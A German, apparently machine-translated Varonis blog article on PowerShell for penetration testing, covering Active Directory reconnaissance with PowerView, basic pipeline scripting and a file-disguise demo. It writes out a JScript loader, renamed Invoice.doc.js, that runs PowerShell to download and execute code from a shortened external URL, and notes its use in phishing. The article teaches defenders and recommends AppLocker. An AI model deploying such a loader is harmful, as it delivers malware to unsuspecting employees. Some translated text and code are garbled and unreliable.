PowerShell als Pentest-Tool: Varonis-Skripte und -Beispiele



Hacker verwenden PowerShell gerne, um "fileless Malware" auszuführen, einschließlich Malware, die keine herkömmliche Binärdatei mit kompiliertem Schadcode ist und aus diesem Grund manchmal von Antivirenlösungen nicht erkannt werden kann.

PowerShell hatte natürlich immer einen ganz normalen Zweck, der zunächst überhaupt nichts mit Penetrationstests zu tun hatte. Diejenigen unter Ihnen, die den Hintergrund von PowerShell kennenlernen möchten, sollten das berühmte Monadenmanifest lesen. Dieses Manifest wurde von einem der ursprünglichen Entwickler verfasst und erklärt, warum Microsoft eine neue Skriptsprache (dh Skripte) benötigte, die schließlich zu PowerShell wurde.

Um Ihnen die Mühe zu ersparen, ein langwieriges 17-seitiges Dokument anzuzeigen, möchte ich Ihnen den Hauptmotivationsfaktor erläutern, der PowerShell-Autoren dazu veranlasste: Es sollte Systemadministratoren über die Befehlszeile Zugriff auf .NET-Objekte gewähren und somit die Automatisierung des Workflows auf Systemebene ermöglichen auf der tiefen Programmierebene in C # oder C ++.

Wenn Sie einen echten Beweis für die Wirksamkeit von PowerShell (im Folgenden als PS bezeichnet) wünschen, fragen Sie Ihre Systemadministratoren, wie sie Benutzer massiv zu Active Directory hinzufügen oder schnelle Sicherheitseinstellungen vornehmen. Sie werden höchstwahrscheinlich mehr über PowerShell-Lösungen erfahren. Kurz gesagt: PS ist eine großartige Möglichkeit, die Routine zu reduzieren und die Produktivität für Administratoren zu steigern.

Warum PowerShell für Pentests verwenden?


Leider ist das, was als leistungsstarkes Automatisierungstool für Administratoren so gut geeignet ist, letztendlich sowohl für Hacker als auch für Penetrationstester nützlich.

Angenommen, ein IT-Administrator wurde beauftragt, herauszufinden, wer tatsächlich einen unterlasteten Server verwendet. Mit PowerShell und der PowerView- Bibliothek mit erweiterten Funktionen kann der Systemadministrator schnell die Benutzer anzeigen, die am Server angemeldet sind , ohne dass er an diesem Server selbst angemeldet sein muss:



Cyberkriminelle, die zuvor durch einen Phishing-Angriff Zugriff erhalten haben, können dies jedoch auch tun Sie können dieselben Funktionen in einer Active Directory-Domäne (im Folgenden als AD bezeichnet) verwenden. Und ihre Aktivitäten werden nicht unbedingt erkannt: Ein Analyst für Informationssicherheit, der die Verwendung von Anwendungen überwacht, kann zu dem Schluss kommen, dass es harmlos sein muss , da es sich nur um PowerShell handelt .

Um dieses Beispiel noch weiter zu verschärfen, können Hacker mit dem Befehl Get-NetUser sogar alle detaillierten Informationen zu einzelnen Benutzern abrufen, wodurch alle Benutzerattribute in AD ausgegeben werden:



Leider vernachlässigen Unternehmen manchmal AD-Attribute, die sie für alle Mitarbeiter veröffentlichen - zum Beispiel für Privat- oder Mobiltelefone, Adressen usw. Vor PowerShell war es viel schwieriger, all diese Daten von AD zu erfassen, aber das ist nicht der Fall!

Was können Angreifer mit diesen Informationen tun? Sie können leicht Social-Engineering- Methoden nutzen und einen Angriff dafür entwickeln: vielleicht durch Senden
Eine E-Mail mit genügend persönlichem Kontext, der aus AD-Attributen abgeleitet wurde, um wie eine legitime Supportanfrage auszusehen, in der Sie aufgefordert werden, Ihr Kennwort zurückzusetzen.

Übrigens können Sie die ACL-Steuerung auch auf AD-Attribute anwenden. Es gibt also eine (!) Möglichkeit, das Risiko solcher Angriffe zu verringern. Und dies ist eines dieser positiven Ergebnisse, die Sie aus Ihrer eigenen Erfahrung mit Penetrationstests erzielen können.



PowerShell Pentester-Lernprogramm


Mit PowerShell können Angreifer diskret interne Benutzerdaten erfassen und diese dann für ihre Angriffe verwenden. Es gibt jedoch keinen Grund, warum IT- oder Informationssicherheitspersonal PowerShell nicht genug lernen kann, um eigene Tests zu starten und die Denkweise und Motive des Hackers zu verstehen.

Das Erste an PowerShell ist, dass alle alten Skripte und Bat-Dateien, die Sie über die Befehlszeile cmd.exe ausgeführt haben, weiterhin in der PowerShell-Konsole funktionieren. Schon nicht schlecht, oder?

Der nächste wichtige Punkt ist, dass PowerShell im Gegensatz zu Linux-ähnlichen Shells alles als Objekt behandelt . Auch die Ausgabe eines Befehls (nur denken) ist ein Objekt.

Geben Sie beispielsweise den Befehl Get-ChildItem (oder das Cmdlet auf eine andere Weise, wie die Befehle in der PS-Welt aufgerufen werden) in die Konsole ein, und Sie sehen eine Liste der Dateien im aktuellen Verzeichnis:



PowerShell-Codierung


Angenommen, Sie möchten ein PS-Skript schreiben, in dem nur Dateien angezeigt werden, die größer als 10 MB sind. So können Sie beispielsweise schnell überprüfen, welche Dateien viel Speicherplatz beanspruchen. Diese Aufgabe wird in der String-Ausgabe von beispielsweise der Bash-Shell viel schwieriger zu lösen sein. In PowerShell ist die Ausgabe eines Befehls jedoch selbst ein Objekt mit einer Reihe von Attributen .

Um dies zu sehen, übergeben Sie einfach die GetChildItem-Ausgabe an Get-Member , die Ihnen die Attribute des PS-Cmdlets mitteilt:



Jetzt haben wir also Bezeichner für zwei Attribute, die für uns von Interesse sind: die Länge "Länge" und den Namen "Name", auf die wir programmgesteuert verweisen können. 5 Minuten - normaler Flug.

Um die häufige Situation zu bewältigen, in der sich Objekte manchmal in Arrays oder Sammlungen befinden, verwenden wir den ForEach PS-Operator, um das Array zu durchlaufen .

Um die Sache noch einfacher zu machen, bedeutet ein Alias ​​oder Alias ​​"%" "ForEach" und "$ _" repräsentiert das aktuelle Objekt.

Ausführen von Befehlen mit PowerShell


Lassen Sie uns unsere beiden Ausgabespalten basierend auf unserem neuen Wissen aus dem Befehl GetChildItem abrufen. Das folgende Beispiel ist eine Pipeline mit Get-ChildItem, die die ForEach-Anweisung speist, in der nur die Werte der Attribute "Länge" und "Name" angezeigt werden:

get-childitem | % {write-host $_.length $_.name -separator "`t`t"} 

Und hier ist das Ergebnis der Ausführung der Befehle:



Um unser großartiges Beispiel zu beenden, optimieren wir unser Skript so, dass nur große Dateien ausgegeben werden, z. B. mehr als 10 MB. Dazu verwenden wir einen Filter, der als Where-Object-Cmdlet mit dem praktischen Alias ​​"?" Bekannt ist. Er verfügt über alle üblichen Vergleichsoperatoren (-gt, -eq, -lt usw.). Wir fügen ihn in die Mitte der Pipeline und in unsere ein Das Skript sieht jetzt so aus:

  get-ChildItem | ? {$_.length –gt 10000000 | % {write-host$_.length $_.name -separator "`t`t"} 

Versuchen Sie als Übung, die oben genannte PS-Erstellung in Ihrer eigenen Umgebung auszuführen.

Tutorial: Beispiel für einen PowerShell-Penetrationstest


Mit dieser kleinen Erfahrung mit PowerShell sind wir bereit, ein sehr reales Pentest-Beispiel anzunehmen. Eine der schnellsten Möglichkeiten, an einem Pentest teilzunehmen, ist die Verwendung von PowerShell zum Ausblenden der Nutzlast. Wir haben hier darüber geschrieben, wie es geht .

Die Idee ist, unseren PowerShell-Code in einem Standard-Office-Dokument mit dem Suffix .doc auszublenden. Tatsächlich hat die Datei die Erweiterung .js und aktiviert beim Klicken den Start eines Windows-Skripts zum Ausführen von JavaScript, das dann den integrierten PowerShell-Code startet.

Ein bisschen verwirrend, oder? Aber echte Hacker verwenden nicht eine, sondern mehrere Ebenen der Verschachtelung und Verschleierung, um ihren Angriff so weit wie möglich zu verbergen und zu verwirren.

Bootloader- und Payload-Vorbereitung


So sieht das Skript aus:

 a=new ActiveXObject('Wscript.Shell');a.Run("powershell -nop -noe -Command IEX (New-Object System.Net.WebClient).DownloadString('https://tinyurl.com/y5nupk4e')",1,true); 

Sie fügen den obigen Code in eine Textdatei ein und benennen ihn in Invoice.doc.js um . Das obige JavaScript fungiert als Loader, der mit den integrierten Cmdlets PowerShell NetWebClient und Invoke-Expression ausgeführt wird , die selbst Aliase mit "%" sind.

Die DownloadString- Methode aus dem NetWebClient-Cmdlet extrahiert remote die tatsächliche Nutzlast, die letztendlich die gesamte Drecksarbeit für uns erledigt.

Sie können Ihre eigene URL einfügen, die auf Ihr eigenes Testprogramm verweist. Nun, das Cmdlet Invoke-Expression akzeptiert den Code unserer schädlichen Datei und führt ihn dann aus.

Probieren Sie es aus!


In meinem Fall verweist die URL auf ein Github-Projekt, das einen einfachen PS Write-Host-Befehl enthält, der eine harmlose, aber wichtige Nachricht für die gesamte Menschheit anzeigt. Bei einem echten Angriff könnte eine Datei eines solchen Szenarios durchaus an eine Phishing-Mailingliste angehängt werden, die einen ahnungslosen Mitarbeiter in eine Falle der Neugier locken würde. Und die Nutzlast wird viel zerstörerischer sein.



Sie können dies in Ihrer eigenen Installation versuchen. Und wenn all das erfolgreich funktioniert, haben Sie eine weitere dringende und wichtige Aufgabe, die unbedingt erledigt werden muss.

Vorteile von Penetrationstests




Dies führt uns zu den Gründen, warum wir Penetrationstests durchführen. Hier sind drei echte Vorteile, die zuerst in den Sinn kommen:

  1. Wenn Sie PowerShell-Teams als Pentester erkunden, werden Sie verstehen, wie Hacker diese wunderbare Skriptsprache der nächsten Generation „knacken“. Betrachten Sie einfach die Kombination der DownloadString- und Invoke-Expression-Methoden, mit denen Angreifer bösartigen Remote-Code auf die Website des Opfers extrahieren können, ohne ihn zwischendurch speichern zu müssen.
  2. Diese Übung betont auch die Geheimhaltung eines modernen Hackers. Ich habe im obigen Beispiel ein Angriffsschema gezeigt, bei dem keine Dateien übrig bleiben. Daher können Sie keine standardmäßigen signaturbasierten Methoden verwenden, um einen mit PowerShell ausgeführten Angriff zuverlässig zu erkennen. Trotzdem haben wir nicht die Signatur der Malware selbst zum Vergleich.
  3. Sie werden wahrscheinlich nach Möglichkeiten suchen, PowerShell und andere skriptbasierte Methoden einzuschränken . Am Ende beginnt der Angriff mit einem Skript. Wenn Unternehmen die Ausführung von Skripten erschweren, können sie ihr Risikoprofil erheblich reduzieren.

Lassen Sie mich auf den letzten Punkt näher eingehen. Sie werden PowerShell (oder JavaScript) höchstwahrscheinlich nicht vollständig verbieten wollen, da dies ein grundlegender Bestandteil der Windows-Systemsoftware ist. Glücklicherweise hat Microsoft die Möglichkeit, Skripte (und andere ausführbare Dateien) über AppLocker , eine verbesserte Version der alten Richtlinien für Softwareeinschränkungen in modernen Gruppenrichtlinien (GPOs), selektiv zu deaktivieren.

Dies mag Technikern unglaublich erscheinen, aber die meisten normalen Benutzer benötigen keine PowerShell oder andere Skriptsprachen, um ihre tägliche Arbeit zu erledigen. Das ist natürlich schockierend, ich weiß! AppLocker kann beispielsweise so konfiguriert werden, dass der PowerShell-Zugriff für die Massen deaktiviert wird, während Systemadministratoren weiterhin ihre harte Arbeit erledigen können.

Skriptbasierte Angriffe, einschließlich solcher im Zusammenhang mit E-Mail-Anhängen, sind darauf angewiesen, dass Administratoren den Mitarbeitern zu weitreichende Skriptberechtigungen gewähren. Und das sollte nicht so sein!

Source: https://habr.com/ru/post/de471420/


All Articles